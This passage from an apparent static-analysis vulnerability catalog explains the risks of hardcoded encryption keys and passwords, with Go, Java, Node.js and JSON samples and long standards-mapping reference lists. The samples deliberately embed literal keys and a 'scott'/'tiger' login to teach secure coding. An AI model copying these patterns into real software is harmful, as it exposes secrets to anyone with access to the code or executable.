[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.cfml.key_management_hardcoded_encryption_key
Abstract
Hardcoded encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to hardcode an encryption key because all of the project's developers can view the encryption key, and fixing the problem is extremely difficult. After the code is in production, changing the encryption key requires a software patch. If the account that is protected by the encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code uses a hardcoded encryption key:


...
key := []byte("lakdsljkalkjlksd");
block, err := aes.NewCipher(key)
...


Anyone with access to the code has access to the encryption key. After the application has shipped, there is no way to change the encryption key unless the program is patched. An employee with access to this information can use it to break into the system. If attackers had access to the executable for the application, they could extract the encryption key value.
References
[1] MSC03-J. Never hard code sensitive information CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 321
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[10] Standards Mapping - FIPS200 IA
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[17] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[18] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[19] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[37] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[38] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.golang.key_management_hardcoded_encryption_key
Abstract
Hardcoded encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to hardcode an encryption key because it allows all of the project's developers to view the encryption key, and makes fixing the problem extremely difficult. After the code is in production, a software patch is required to change the encryption key. If the account that is protected by the encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code uses a hardcoded encryption key:


...
private static final String encryptionKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = encryptionKey.getBytes();
SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");
Cipher encryptCipher = Cipher.getInstance("AES");
encryptCipher.init(Cipher.ENCRYPT_MODE, key);
...


Anyone with access to the code has access to the encryption key. After the application has shipped, there is no way to change the encryption key unless the program is patched. An employee with access to this information can use it to break into the system. If attackers had access to the executable for the application, they could extract the encryption key value.
References
[1] MSC03-J. Never hard code sensitive information CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 321
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[10] Standards Mapping - FIPS200 IA
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[17] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[18] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[19] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[37] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[38] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.java.key_management_hardcoded_encryption_key
Abstract
Hardcoded encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to hardcode an encryption key because it allows all of the project's developers to view the encryption key, and makes fixing the problem extremely difficult. After the code is in production, a software patch is required to change the encryption key. If the account that is protected by the encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code uses a hardcoded encryption key:


  ...
  var crypto = require('crypto');
  var encryptionKey = "lakdsljkalkjlksdfkl";
  var algorithm = 'aes-256-ctr';
  var cipher = crypto.createCipher(algorithm, encryptionKey);
  ...


Anyone with access to the code has access to the encryption key. After the application has shipped, there is no way to change the encryption key unless the program is patched. An employee with access to this information can use it to break into the system. If attackers had access to the executable for the application, they could extract the encryption key value.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.javascript.key_management_hardcoded_encryption_key
Abstract
Hardcoded passwords can compromise system security in a way that is difficult to remedy.
Explanation
Never hardcode passwords. Not only does it expose the password to all of the project's developers, it also makes fixing the problem extremely difficult. After the code is in production, a program patch is probably the only way to change the password. If the account the password protects is compromised, the system owners must choose between security and availability.
Example 1: The following JSON uses a hardcoded password:


...
{
  "username":"scott"
  "password":"tiger"
}
...


This configuration may be valid, but anyone who has access to the configuration will have access to the password. After the program is released, changing the default user account "scott" with a password of "tiger" is difficult. Anyone with access to this information can use it to break into the system.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
